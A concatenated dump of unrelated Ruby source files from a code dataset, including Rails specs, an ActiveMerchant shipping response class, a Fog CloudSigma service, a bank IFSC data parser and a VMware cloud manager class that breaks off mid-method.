attr_reader :test
attr_reader :xml
attr_reader :request
def initialize(success, message, params = {}, options = {})
@success, @message, @params = success, message, params.stringify_keys
@test = options[:test] || false
@xml = options[:xml]
@request = options[:request]
if options[:log_xml]
log_options = (options[:log_xml].is_a?(Hash) ? options[:log_xml] : {})
log_xml(log_options)
end
raise ResponseError.new(self) unless success
end
def success?
@success ? true : false
end
def test?
@test ? true : false
end
# options[:name] -- A name to give the log file. Defaults to a timestamp. The full filenames end up
# being "#{name}_request.xml" and "#{name}_request.xml"
# options[:path] -- The path to save the files. Defaults to
# "~/.active_merchant/shipping/logs/#{carrier_name}". Directories will be
# created if they don't exist already.
def log_xml(options={})
name = options[:name] || Time.new.strftime('%Y%m%d%H%M%S')
carrier_name = begin
self.rates.first.carrier
rescue NoMethodError
''
end
path = options[:path] || File.join(ENV['HOME'], '.active_merchant', 'shipping', 'logs', carrier_name)
File.makedirs(path)
methods = {'request' => 'request', 'response' => 'xml'}
methods.each do |suffix, method|
file = File.join(path, ([name,suffix].join('_') + '.xml'))
i = 0
while File.exist?(file) do
file = File.join(path, ([name + (i += 1).to_s,suffix].join('_') + '.xml'))
end
File.open(file, 'w+') do |file|
file.puts self.send(method)
end
end
end
end
end
end
| 30.195122 | 109 | 0.547658 |
5dae1f2be44784300a2ecae1f9c9efc1ab4f583a | 3,688 | # This file is copied to spec/ when you run 'rails generate rspec:install'
ENV['RAILS_ENV'] ||= 'test'
require 'spec_helper'
require File.expand_path('../../config/environment', __FILE__)
require 'rspec/rails'
# Add additional requires below this line. Rails is not loaded until this point!
# Requires supporting ruby files with custom matchers and macros, etc, in
# spec/support/ and its subdirectories. Files matching `spec/**/*_spec.rb` are
# run as spec files by default. This means that files in spec/support that end
# in _spec.rb will both be required and run as specs, causing the specs to be
# run twice. It is recommended that you do not name files matching this glob to
# end with _spec.rb. You can configure this pattern with the --pattern
# option on the command line or in ~/.rspec, .rspec or `.rspec-local`.
#
# The following line is provided for convenience purposes. It has the downside
# of increasing the boot-up time by auto-requiring all files in the support
# directory. Alternatively, in the individual `*_spec.rb` files, manually
# require only the support files necessary.
#
# Dir[Rails.root.join('spec/support/**/*.rb')].each { |f| require f }
# Checks for pending migrations before tests are run.
# If you are not using ActiveRecord, you can remove this line.
ActiveRecord::Migration.check_pending!
RSpec.configure do |config|
# If you're not using ActiveRecord, or you'd prefer not to run each of your
# examples within a transaction, remove the following line or assign false
# instead of true.
config.use_transactional_fixtures = false
# RSpec Rails can automatically mix in different behaviours to your tests
# based on their file location, for example enabling you to call `get` and
# `post` in specs under `spec/controllers`.
#
# You can disable this behaviour by removing the line below, and instead
# explicitly tag your specs with their type, e.g.:
#
# RSpec.describe UsersController, :type => :controller do
# # ...
# end
#
# The different available types are documented in the features, such as in
# https://relishapp.com/rspec/rspec-rails/docs
config.infer_spec_type_from_file_location!
# devise
config.include Devise::TestHelpers, type: :controller
config.include Warden::Test::Helpers, type: :feature
config.before(:each, type: :request) do
default_url_options[:locale] = I18n.default_locale
end
config.before(:each, type: :feature) do
default_url_options[:locale] = I18n.default_locale
end
config.before(:each, type: :feature) do
Warden.test_mode!
end
config.after(:each, type: :feature) do
Warden.test_reset!
end
config.before(:each) do
User.any_instance.stub(:check_against_oris).and_return(nil)
end
config.before(:suite) do
DatabaseCleaner.clean_with(:truncation)
end
config.before(:each) do
DatabaseCleaner.strategy = :transaction
end
config.before(:each, js: true) do
DatabaseCleaner.strategy = :truncation
end
config.before(:each) do
DatabaseCleaner.start
end
config.after(:each) do
DatabaseCleaner.clean
end
end
def as_user(user)
ui_login(user)
yield
ui_logout
end
def ui_login(user)
visit new_user_session_path
fill_in 'user_email', with: user.email
fill_in 'user_password', with: user.password
submit_form 'new_user'
end
def ui_logout
visit destroy_user_session_path
end
def login(user)
post_via_redirect user_session_path, 'user[email]' => user.email, 'user[password]' => user.password
end
def submit_form(id)
Capybara::RackTest::Form.new(page.driver, page.find_by_id(id).native).submit :name => nil
end
Capybara.javascript_driver = :webkit
| 30.479339 | 101 | 0.734544 |
bfb9ce24a899d7e6406015ba9b7f66bd675133f0 | 1,507 | require 'spec_helper'
describe TagsController do
render_views
describe "GET 'index'" do
before(:each) do
Tag.create!(:name => "Ruby")
Tag.create!(:name => "Rails")
Tag.create!(:name => "Other")
end
it "should be successful" do
get 'index', :format => 'json'
response.should be_success
end
it "should return the proper json" do
get 'index', :format => 'json'
response.body.should =~ /"name":"Ruby"/
response.body.should =~ /"name":"Rails"/
response.body.should =~ /"name":"Other"/
end
it "should not include the type" do
get 'index', :format => 'json'
response.body.should_not =~ /"tag":{/
end
it "can filter tags that contains text" do
get 'index', :format => 'json', :q => "ub"
response.body.should =~ /"name":"Ruby"/
response.body.should_not =~ /"name":"Rails"/
response.body.should_not =~ /"name":"Other"/
end
it "only returns the first ten results" do
15.times { Factory.next(:tag) }
get 'index', :format => 'json', :q => "tag"
response.body.scan('{"id":').length.should == 10
end
it 'contains an option to add the text if no match' do
get 'index', :format => 'json', :q => 'win'
response.body.should =~ /"name":"Add - win"/
end
it 'does not contain option to add if match exists' do
get 'index', :format => 'json', :q => 'ruby'
response.body.should_not =~ /"name":"Add - ruby"/
end
end
end
| 27.4 | 58 | 0.575315 |
620eac0110602c4e22bb56ed955fd212b6130718 | 800 | # frozen_string_literal: true
require "test_helper"
class ActionText::MailerRenderTest < ActionMailer::TestCase
test "uses default_url_options" do
original_default_url_options = ActionMailer::Base.default_url_options
ActionMailer::Base.default_url_options = { host: "hoost" }
blob = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
message = Message.new(content: ActionText::Content.new.append_attachables(blob))
MessagesMailer.with(recipient: "test", message: message).notification.deliver_now
assert_select_email do
assert_select "#message-content img" do |imgs|
imgs.each { |img| assert_match %r"//hoost/", img["src"] }
end
end
ensure
ActionMailer::Base.default_url_options = original_default_url_options
end
end
| 33.333333 | 85 | 0.745 |
f86f3ea579f3d2b87037fb12f1f97f8d3d399154 | 2,709 | require 'test_helper'
class SubscriptionsControllerTest < ActionController::TestCase
include Devise::Test::ControllerHelpers
test 'should list subscriptions for the logged-in user' do
sign_in users(:regular_user)
get :index
assert_select '.subscription', count: 3
end
test "should not list other user's subscriptions" do
sign_in users(:another_regular_user)
get :index
assert_select '.subscription', count: 0
end
test 'should not list subscriptions for anonymous user' do
get :index
assert_redirected_to new_user_session_path
end
test 'should create a new subscription' do
sign_in users(:regular_user)
assert_difference('Subscription.count') do
post :create, params: { subscription: { frequency: 'weekly', subscribable_type: 'Event' }, q: 'fish', country: 'Finland' }
end
assert_equal 'fish', assigns(:subscription).query
assert_equal ['country'], assigns(:subscription).facets.keys
assert_equal 'Finland', assigns(:subscription).facets['country']
assert_redirected_to subscriptions_path
end
test 'should not include junk params in new subscription' do
sign_in users(:regular_user)
assert_difference('Subscription.count') do
post :create, params: { subscription: { frequency: 'weekly', subscribable_type: 'Event' }, q: 'fish', bananas: 14,
country: 'Finland' }
end
assert_equal ['country'], assigns(:subscription).facets.keys
assert_redirected_to subscriptions_path
end
test 'should delete a subscription' do
sign_in users(:regular_user)
sub = subscriptions(:daily_subscription)
assert_difference('Subscription.count', - 1) do
delete :destroy, params: { id: sub }
end
assert_redirected_to subscriptions_path
end
test "should not delete someone else's subscription" do
sign_in users(:another_regular_user)
sub = subscriptions(:daily_subscription)
assert_no_difference('Subscription.count') do
delete :destroy, params: { id: sub }
end
assert_response :forbidden
end
test 'should delete a subscription via unsubcribe link' do
sub = subscriptions(:daily_subscription)
assert_difference('Subscription.count', -1) do
get :unsubscribe, params: { id: sub, code: sub.unsubscribe_code }
end
assert_response :success
end
test 'should not delete a subscription via unsubcribe link with invalid code' do
sub = subscriptions(:daily_subscription)
sub2 = subscriptions(:weekly_subscription)
assert_no_difference('Subscription.count') do
get :unsubscribe, params: { id: sub2, code: sub.unsubscribe_code }
end
assert_response :unprocessable_entity
end
end
| 27.363636 | 128 | 0.72093 |
79886aad1494fedf436897643bafb3982039af47 | 1,290 | module DeviseBasecamper
module Confirmable
extend ActiveSupport::Concern
module ClassMethods
## Override for password resets -------------------
def send_confirmation_instructions(attributes={})
if confirm_with_login?
subdomain_resource = find_resource_by_subdomain(attributes)
attributes[ basecamper[:scope_field] ] = subdomain_resource.nil? ? nil : subdomain_resource.id
recoverable = find_for_authentication_with_login(reset_password_keys, attributes, :not_found)
else
recoverable = find_or_initialize_with_errors(reset_password_keys, attributes, :not_found)
end
## Now that we have found the recoverable, we are going to call the
## send_reset_password_instructions on the specific recoverable
##
recoverable.send_confirmation_instructions if recoverable.persisted?
recoverable
end
def confirm_with_login?(attributes={})
if attributes.any?
attributes.include?( basecamper[:login_attribute] ) && confirmation_keys.include?( basecamper[:login_attribute] )
else
reset_password_keys.include?( basecamper[:login_attribute] )
end
end
end
end
end | 40.3125 | 131 | 0.666667 |
1ad4b07a30e01d30b38fcb35191c05d1e719c7e1 | 3,074 | module Aws::RailsProvisioner
class Vpc
SUBNETS_DEFAULTS = {
application: {
cidr_mask: 24,
type: 'private'
},
ingress: {
cidr_mask: 24,
type: 'public'
},
database: {
cidr_mask: 28,
type: 'isolated'
}
}
# Configuration value under :vpc
# @param [Hash] options
#
# @option options [Integer] :max_azs maximum number
# of AZs to use in this region, default to 3
#
# @option options [String] :cidr CIDR range to use for
# the VPC, default to '10.0.0.0/21'
#
# @option options [Hash] :subnets subnets configuration
# to build for each AZ, default to following example:
#
# @example: at `aws-rails-provisioner.yml`
# subnets:
# application:
# cidr_mask: 24
# type: private
# ingress:
# cidr_mask: 24
# type: public
# database:
# cidr_mask: 28
# type: isolate
#
# @option options [Boolean] :enable_dns whether the DNS
# resolution is supported for the VPC, default to `true`
#
# @option options [Integer] :nat_gateways number of NAT Gateways
# to create, default to :maxAz value
#
# @option options [Hash] :nat_gateway_subnets choose the subnets
# that will have NAT Gateway attached, default to public:
#
# @example: at `aws-rails-provisioner.yml`
# nat_gateway_subnets:
# type: public
#
# Note: Either subnet `:type` or `:name` can be provided
# @see {Aws::RailsProvisioner::SubnetSelection}
#
# @see AWS CDK VpcNetworkProps
def initialize(options = {})
@max_azs = options[:max_azs] || 3
@cidr = options[:cidr] || '10.0.0.0/21'
subnets_config = options[:subnets] || SUBNETS_DEFAULTS
@subnets = subnets_config.map do |name, config|
Subnet.new(
cidr_mask: config[:cidr_mask],
subnet_name: name,
type: config[:type]
)
end
@enable_dns = options[:enable_dns].nil? ? true : !!options[:enable_dns]
@nat_gateways = options[:nat_gateways] || @max_azs
@nat_gateway_subnets = Aws::RailsProvisioner::SubnetSelection.new(options[:nat_gateway_subnets]) if options[:nat_gateway_subnets]
end
# @return [Integer]
attr_reader :max_azs
# @return [Integer]
attr_reader :nat_gateways
# @return [Aws::RailsProvisioner::SubnetSelection | nil]
attr_reader :nat_gateway_subnets
# @return [String]
attr_reader :cidr
# @return [Boolean]
attr_reader :enable_dns
# @return [Array|nil]
attr_reader :subnets
class Subnet
def initialize(options)
@subnet_name = options.fetch(:subnet_name)
@cidr_mask = options.fetch(:cidr_mask)
@type = Aws::RailsProvisioner::Utils.subnet_type(options.fetch(:type))
end
attr_reader :subnet_name
attr_reader :cidr_mask
attr_reader :type
end
end
end
| 27.446429 | 135 | 0.590436 |
38bbe2e0edeaee09e0cef88d78ae86c0d6ca15d2 | 5,413 | require 'fog/compute'
require 'fog/cloudsigma/connection'
module Fog
module Compute
class CloudSigma < Fog::Service
requires :cloudsigma_password, :cloudsigma_username
recognizes :cloudsigma_password, :cloudsigma_username, :cloudsigma_host
model_path 'fog/cloudsigma/models'
request_path 'fog/cloudsigma/requests'
model :volume
collection :volumes
request :create_volume
request :get_volume
request :list_volumes
request :update_volume
request :delete_volume
request :clone_volume
model :lib_volume
collection :lib_volumes
request :get_lib_volume
request :list_lib_volumes
model :ipconf
model :nic
model :mountpoint
model :server
collection :servers
request :create_server
request :get_server
request :list_servers
request :update_server
request :delete_server
request :start_server
request :stop_server
request :open_vnc
request :close_vnc
request :clone_server
model :ip
collection :ips
request :list_ips
request :get_ip
model :vlan
collection :vlans
request :list_vlans
request :get_vlan
request :update_vlan
model :subscription
collection :subscriptions
request :list_subscriptions
request :get_subscription
request :create_subscription
request :extend_subscription
model :price_calculation
request :calculate_subscription_price
model :profile
request :get_profile
request :update_profile
model :balance
request :get_balance
model :current_usage
request :get_current_usage
model :pricing
request :get_pricing
module CommonMockAndReal
def initialize(options={})
@init_options = options
setup_connection(options)
end
def profile
response = get_profile
Profile.new(response.body)
end
def balance
response = get_balance
Balance.new(response.body)
end
def current_usage
response = get_current_usage
CurrentUsage.new(response.body['usage'])
end
def currency
# Cache since currency does not change
@currency ||= profile.currency
end
def pricing
resp = get_princing(currency)
resp.body['objects']
end
def current_pricing_levels
resp = get_pricing(currency)
resp.body['current']
end
def next_pricing_levels
resp = get_pricing(currency)
resp.body['next']
end
def subscription_pricing
resp = get_pricing(currency, true)
current_levels = resp.body['current']
current_prices = resp.body['objects']
current_pricing_pairs = current_levels.map do |resource, level|
price_for_resource_and_level = current_prices.detect do |price|
price['resource'] == resource
end
price_for_resource_and_level ||= {}
[resource, price_for_resource_and_level]
end
Pricing.new(Hash[current_pricing_pairs])
end
def current_pricing
resp = get_pricing(currency)
current_levels = resp.body['current']
current_prices = resp.body['objects']
current_pricing_pairs = current_levels.map do |resource, level|
price_for_resource_and_level = current_prices.detect do |price|
price['level'] == level && price['resource'] == resource
end
price_for_resource_and_level ||= {}
[resource, price_for_resource_and_level]
end
Pricing.new(Hash[current_pricing_pairs])
end
def next_pricing
resp = get_pricing(currency)
current_levels = resp.body['next']
current_prices = resp.body['objects']
current_pricing_pairs = current_levels.map do |resource, level|
price_for_resource_and_level = current_prices.detect do |price|
price['level'] == level && price['resource'] == resource
end
price_for_resource_and_level ||= {}
[resource, price_for_resource_and_level]
end
Pricing.new(Hash[current_pricing_pairs])
end
end
class Mock
include Collections
include CommonMockAndReal
include Fog::CloudSigma::CloudSigmaConnection::Mock
require 'fog/cloudsigma/mock_data'
def self.data
@data ||= Hash.new do |hash, key|
hash[key] = mock_data
end
end
def self.random_uuid
# Insert '4' at 13th position and 'a' at 17th as per uuid4 spec
hex = Fog::Mock.random_hex(30).insert(12,'4').insert(16, 'a')
# Add dashes
"#{hex[0...8]}-#{hex[8...12]}-#{hex[12...16]}-#{hex[16...20]}-#{hex[20..32]}"
end
def self.random_mac
(0..5).map{Fog::Mock.random_hex(2)}.join(':')
end
def data
self.class.data[:test]
end
end
class Real
include Collections
include CommonMockAndReal
include Fog::CloudSigma::CloudSigmaConnection::Real
end
end
end
end
| 24.382883 | 87 | 0.605025 |
ab61886d9c0439cfc61de1f41128c19bbe8f0494 | 1,799 | # frozen_string_literal: true
class ApplicationController < ActionController::API
include Pundit
rescue_from Pundit::NotAuthorizedError, with: :user_not_authorized
private
def user_not_authorized
render json: { message: 'You are not authorized to do that' }, status: :unauthorized
end
def pundit_user
header = request.headers['Authorization']
header = header.split(' ').last if header
begin
decoded = JsonWebToken.decode(header)
return User.find(decoded['id'])
rescue ActiveRecord::RecordNotFound
render json: { message: 'You are not authorized' }, status: :unauthorized
rescue JWT::DecodeError
render json: { message: 'Unauthorized access' }, status: :unauthorized
end
end
def find_user
user = User.find_by(username: params[:user_username])
return user if user
find_error('user')
nil
end
def set_page
Pagination.page(params[:page]).to_i
end
def set_max_in_page(page, record_count, records_per_page)
Pagination.set_max_in_page(page, record_count, records_per_page)
end
def shown_attributes(user)
{
id: user.id,
username: user.username,
email: user.email,
first_name: user.first_name,
middle_name: user.middle_name,
last_name: user.last_name,
bio: user.bio,
birthday: user.birthday,
gender: user.gender
}
end
def action_success(message, status_code = nil)
status_code ||= :accepted
render json: { message: message },
status: status_code
end
def find_error(resource_type)
render json: { message: "Cannot find #{resource_type}" }, status: 404
end
def process_error(resource, message)
render json: { message: message, errors: resource.errors }, status: :unprocessable_entity
end
end
| 25.338028 | 93 | 0.694275 |
7a6a6becee0ec83685c481c297764bc4bf91420b | 702 | Pod::Spec.new do |s|
s.name = "SlideMenuControllerSwift_fix"
s.version = "4.0.2"
s.summary = "iOS Slide View based on iQON, Feedly, Google+, Ameba iPhone app."
s.homepage = "https://github.com/dekatotoro/SlideMenuControllerSwift"
s.license = { :type => "MIT", :file => "LICENSE" }
s.author = { "Yuji Hato" => "[email protected]" }
s.social_media_url = "https://twitter.com/dekatotoro"
s.platform = :ios
s.ios.deployment_target = "9.0"
s.swift_version = '4.1'
s.source = { :git => "https://github.com/szucsz92/SlideMenuControllerSwift.git", :tag => s.version }
s.source_files = "Source/*.swift"
s.requires_arc = true
end
| 43.875 | 108 | 0.623932 |
39b52ce6eebb860e3fd6315f7ef00a402e2e6367 | 540 | class Story::AfterVerdictNoticeContext < BaseContext
def initialize(verdict)
@verdict = verdict
end
def perform
run_callbacks :perform do
@verdict.story.story_subscriptions.each do |story_subscription|
subscriber = story_subscription.subscriber
mailer_constantize(subscriber).delay.after_verdict_notice(@verdict.id, subscriber.id)
end
end
end
private
def mailer_constantize(subscriber)
subscriber_type = subscriber.class.name
"#{subscriber_type}Mailer".constantize
end
end
| 22.5 | 93 | 0.742593 |
bfcbed9d1fa68c9f5a80faa0dfe5423245dd34e2 | 413 | class CreateReviews < ActiveRecord::Migration
def change
create_table :reviews do |t|
t.integer :rating
t.text :content
t.integer :user_id
t.integer :condition_id
t.integer :organization_id
t.timestamps
end
add_index :reviews, :user_id
add_index :reviews, :condition_id
add_index :reviews, :organization_id
add_index :reviews, :rating
end
end
| 21.736842 | 45 | 0.673123 |
f83a62069c2760f2b80e2aeb3fb72bb76e18ea89 | 5,292 | #
# Be sure to run `pod spec lint BLAPIManagers.podspec' to ensure this is a
# valid spec and to remove all comments including this before submitting the spec.
#
# To learn more about Podspec attributes see http://docs.cocoapods.org/specification.html
# To see working Podspecs in the CocoaPods repo see https://github.com/CocoaPods/Specs/
#
Pod::Spec.new do |s|
# ――― Spec Metadata ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# These will help people to find your library, and whilst it
# can feel like a chore to fill in it's definitely to your advantage. The
# summary should be tweet-length, and the description more in depth.
#
s.name = "ModulizedDemoDetail_Category"
s.version = "1.0"
s.summary = "ModulizedDemoDetail_Category."
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
this is ModulizedDemoDetail_Category
DESC
s.homepage = "https://github.com/TMTBO/ModulizedDemoDetail_Category"
# s.screenshots = "www.example.com/screenshots_1.gif", "www.example.com/screenshots_2.gif"
# ――― Spec License ――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Licensing your code is important. See http://choosealicense.com for more info.
# CocoaPods will detect a license file if there is a named LICENSE*
# Popular ones are 'MIT', 'BSD' and 'Apache License, Version 2.0'.
#
# s.license = "MIT (example)"
s.license = { :type => "MIT", :file => "FILE_LICENSE" }
# ――― Author Metadata ――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Specify the authors of the library, with email addresses. Email addresses
# of the authors are extracted from the SCM log. E.g. $ git log. CocoaPods also
# accepts just a name if you'd rather not provide an email address.
#
# Specify a social_media_url where others can refer to, for example a twitter
# profile URL.
#
s.author = { "CasaTaloyum" => "[email protected]" }
# Or just: s.author = "CasaTaloyum"
# s.authors = { "CasaTaloyum" => "[email protected]" }
# s.social_media_url = "http://twitter.com/CasaTaloyum"
# ――― Platform Specifics ――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# If this Pod runs only on iOS or OS X, then specify the platform and
# the deployment target. You can optionally include the target after the platform.
#
# s.platform = :ios
s.platform = :ios, "7.0"
# When using multiple platforms
# s.ios.deployment_target = "5.0"
# s.osx.deployment_target = "10.7"
# s.watchos.deployment_target = "2.0"
# s.tvos.deployment_target = "9.0"
# ――― Source Location ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Specify the location from where the source should be retrieved.
# Supports git, hg, bzr, svn and HTTP.
#
s.source = { :git => "https://github.com/TMTBO/ModulizedDemoDetail_Category.git", :tag => s.version.to_s }
# ――― Source Code ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# CocoaPods is smart about how it includes source code. For source files
# giving a folder will include any swift, h, m, mm, c & cpp files.
# For header files it will include any header in the folder.
# Not including the public_header_files will make all headers public.
#
s.source_files = "ModulizedDemoDetail_Category/ModulizedDemoDetail_Category/**/*.{h,m}"
# s.exclude_files = "Classes/Exclude"
# s.public_header_files = "Classes/**/*.h"
# ――― Resources ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# A list of resources included with the Pod. These are copied into the
# target bundle with a build phase script. Anything else will be cleaned.
# You can preserve files from being cleaned, please don't preserve
# non-essential files like tests, examples and documentation.
#
# s.resource = "icon.png"
# s.resources = "Resources/*.png"
# s.preserve_paths = "FilesToSave", "MoreFilesToSave"
# ――― Project Linking ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Link your library with frameworks, or libraries. Libraries do not include
# the lib prefix of their name.
#
# s.framework = "SomeFramework"
# s.frameworks = "SomeFramework", "AnotherFramework"
# s.library = "iconv"
# s.libraries = "iconv", "xml2"
# ――― Project Settings ――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# If your library depends on compiler flags you can set them in the xcconfig hash
# where they will only apply to your library. If you depend on other Podspecs
# you can include multiple dependencies to ensure it works.
s.requires_arc = true
# s.xcconfig = { "HEADER_SEARCH_PATHS" => "$(SDKROOT)/usr/include/libxml2" }
# s.dependency "BLNetworking"
# s.dependency "BLAPIManagers"
# s.dependency "BLMediator"
s.dependency "CTMediator"
end
| 37.006993 | 114 | 0.60393 |
1835212256306813a6de31ba4d15053e0d2eda24 | 1,922 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Storage::Mgmt::V2018_11_01
module Models
#
# Identity for the resource.
#
class Identity
include MsRestAzure
# @return [String] The principal ID of resource identity.
attr_accessor :principal_id
# @return [String] The tenant ID of resource.
attr_accessor :tenant_id
# @return [String] The identity type. Default value: 'SystemAssigned' .
attr_accessor :type
#
# Mapper for Identity class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'Identity',
type: {
name: 'Composite',
class_name: 'Identity',
model_properties: {
principal_id: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'principalId',
type: {
name: 'String'
}
},
tenant_id: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'tenantId',
type: {
name: 'String'
}
},
type: {
client_side_validation: true,
required: true,
is_constant: true,
serialized_name: 'type',
default_value: 'SystemAssigned',
type: {
name: 'String'
}
}
}
}
}
end
end
end
end
| 26.328767 | 77 | 0.494797 |
38468f1b0b87e8c94c285e282cfbdd7c9b3cdd72 | 2,485 | require 'nokogiri'
require 'json'
require 'uri'
def write_sublet_json(sublets)
File.open('data/sublet.json', 'w') do |f|
f.write JSON.pretty_generate(Hash[sublets.sort])
log 'Saved data/sublet.json'
end
end
def write_banks_json(banks)
File.open('data/banks.json', 'w') do |f|
f.write JSON.pretty_generate(Hash[banks.sort])
log 'Saved data/banks.json'
end
end
def match_length_or_nil(data, expected_length)
data = data.text.strip
data.length === expected_length ? data : nil
end
def get_value(data)
(data != nil && data.text.strip == 'Yes') ? true : false
end
def bank_data(bank_code, data, _ifsc)
{
code: bank_code,
type: data[3].text.strip,
# IFSC codes are 11 characters long
ifsc: match_length_or_nil(data[4], 11),
# MICR codes are 9 digits long
micr: match_length_or_nil(data[5], 9),
# IINs are 6 digits long
iin: match_length_or_nil(data[6], 6),
apbs: data[7].text.strip == 'Yes',
ach_credit: data[8].text.strip == 'Yes',
ach_debit: data[9].text.strip == 'Yes',
nach_debit: get_value(data[10])
}
end
def parse_upi
doc = Nokogiri::HTML(open('upi.html'))
# We count the unique number of banks mentioned in the table
# Since sometimes NPCI will repeat banks
count = doc.css('table>tbody')[0].css('tr').map{|e| e.css('td')[1].text.strip}.uniq.size
upi_patch_filename = '../../src/patches/banks/upi-enabled-banks.yml'
# Count the number of banks we have in our UPI patch file:
data = YAML.safe_load(File.read(upi_patch_filename), [Symbol])
if data['banks'].size != count
log "Number of UPI-enabled banks (#{data['banks'].size}) does not match the count on the NPCI website (#{count})}", :critical
log "Please check https://www.npci.org.in/what-we-do/upi/live-members and update src/patches/banks/upi-enabled-banks.yml", :debug
exit 1
end
end
def parse_nach
doc = Nokogiri::HTML(open('nach.html'))
header_cleared = false
sublets = {}
banks = {}
doc.css('table')[0].css('tr').each do |row|
if header_cleared
data = row.css('td')
ifsc = data[4].text.strip
bank_code = data[1].text.strip
sublets[ifsc] = bank_code if ifsc.size == 11 && ifsc[0..3] != bank_code
banks[bank_code] = bank_data(bank_code, data, ifsc)
end
header_cleared = true
end
write_sublet_json(sublets)
# This is where the upi:true parameter to banks.json gets added
banks = apply_bank_patches(banks)
write_banks_json(banks)
banks
end
| 28.895349 | 133 | 0.675654 |
335e5a490a6a3848b49b0480b2e0f76d1a009c86 | 975 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe Gitlab::Metrics::RackMiddleware do
let(:app) { double(:app) }
let(:middleware) { described_class.new(app) }
let(:env) { { 'REQUEST_METHOD' => 'GET', 'REQUEST_URI' => '/foo' } }
describe '#call' do
it 'tracks a transaction' do
expect(app).to receive(:call).with(env).and_return('yay')
expect(middleware.call(env)).to eq('yay')
end
it 'tracks any raised exceptions' do
expect(app).to receive(:call).with(env).and_raise(RuntimeError)
expect_any_instance_of(Gitlab::Metrics::Transaction)
.to receive(:add_event).with(:rails_exception)
expect { middleware.call(env) }.to raise_error(RuntimeError)
end
end
describe '#transaction_from_env' do
let(:transaction) { middleware.transaction_from_env(env) }
it 'returns a Transaction' do
expect(transaction).to be_an_instance_of(Gitlab::Metrics::WebTransaction)
end
end
end
| 26.351351 | 79 | 0.687179 |
5d83f353754e49237ad07057463decb9d497eb37 | 152 | require "openapi/enumerable_object"
module Openapi
class PathsObject < EnumerableObject
def element_class
PathItemObject
end
end
end
| 15.2 | 38 | 0.756579 |
6a3d766e24988bc3bc4c7d42b830416c228113a3 | 264 | module Ray
class Music
def initialize(filename = nil)
open(filename) if filename
end
def pretty_print(q)
super q, ["time", "duration", "looping?"]
end
alias time= seek
alias position pos
alias position= pos=
end
end
| 15.529412 | 47 | 0.617424 |
1c4f506943f49137ad15f2ca25e306dc27f736ac | 5,262 | class ManageIQ::Providers::Vmware::CloudManager < ManageIQ::Providers::CloudManager
require_nested :AvailabilityZone
require_nested :OrchestrationServiceOptionConverter
require_nested :OrchestrationStack
require_nested :OrchestrationTemplate
require_nested :EventCatcher
require_nested :EventParser
require_nested :RefreshWorker
require_nested :Refresher
require_nested :Template
require_nested :Vm
include ManageIQ::Providers::Vmware::ManagerAuthMixin
include ManageIQ::Providers::Vmware::CloudManager::ManagerEventsMixin
include HasNetworkManagerMixin
has_many :snapshots, :through => :vms_and_templates
before_create :ensure_managers
def ensure_network_manager
build_network_manager(:type => 'ManageIQ::Providers::Vmware::NetworkManager') unless network_manager
end
def self.ems_type
@ems_type ||= "vmware_cloud".freeze
end
def self.description
@description ||= "VMware vCloud".freeze
end
def self.params_for_create
@params_for_create ||= {
:title => "Configure #{description}",
:fields => [
{
:component => "text-field",
:name => "endpoints.default.server",
:label => "Server Hostname/IP Address",
:isRequired => true,
:validate => [{:type => "required-validator"}]
},
{
:component => "text-field",
:name => "endpoints.default.port",
:label => "Port",
:type => "number",
},
{
:component => "text-field",
:name => "endpoints.default.username",
:label => "Username",
:isRequired => true,
:validate => [{:type => "required-validator"}]
},
{
:component => "text-field",
:name => "endpoints.default.password",
:label => "Password",
:type => "password",
:isRequired => true,
:validate => [{:type => "required-validator"}]
},
{
:component => "text-field",
:name => "endpoints.default.api_version",
:label => "API Version",
:initialValue => "5.5",
:isRequired => true,
:validate => [{:type => "required-validator"}]
},
{
:component => "text-field",
:name => "endpoints.events.server",
:label => "AMQP Hostname",
},
{
:component => "text-field",
:name => "endpoints.events.port",
:label => "AMQP Port",
:type => "number"
},
{
:component => "text-field",
:name => "endpoints.events.username",
:label => "AMQP Username"
},
{
:component => "text-field",
:name => "endpoints.events.password",
:label => "AMQP Password",
:type => "password"
}
]
}.freeze
end
# Verify Credentials
# args:
# {
# "endpoints" => {
# "default" => {
# "server" => nil,
# "port" => nil,
# "username" => nil,
# "password" => nil,
# "api_version" => nil
# },
# "events" => {
# "server" => nil,
# "port" => nil,
# "username" => nil,
# "password" => nil,
# }
# }
# }
def self.verify_credentials(args)
default_endpoint = args.dig("endpoints", "default")
server, port, username, password, api_version = default_endpoint&.values_at(
"server", "port", "username", "password", "api_version")
!!raw_connect(server, port, username, password, api_version, true)
end
def self.default_blacklisted_event_names
[]
end
def self.hostname_required?
true
end
def supports_port?
true
end
def supported_auth_types
%w(default amqp)
end
def supports_authentication?(authtype)
supported_auth_types.include?(authtype.to_s)
end
def supported_catalog_types
%w(vmware)
end
def self.display_name(number = 1)
n_('Cloud Provider (VMware vCloud)', 'Cloud Providers (VMware vCloud)', number)
end
#
# Operations
#
def vm_create_snapshot(vm, options = {})
defaults = {
:memory => false,
:quiesce => false
}
options = defaults.merge(options)
with_provider_connection do |service|
response = service.post_create_snapshot(vm.ems_ref, options)
service.process_task(response.body)
end
end
def vm_revert_to_snapshot(vm, _options = {})
with_provider_connection do |service|
response = service.post_revert_snapshot(vm.ems_ref)
service.process_task(response.body)
end
end
def vm_remove_all_snapshots(vm, _options = {})
with_provider_connection do |service|
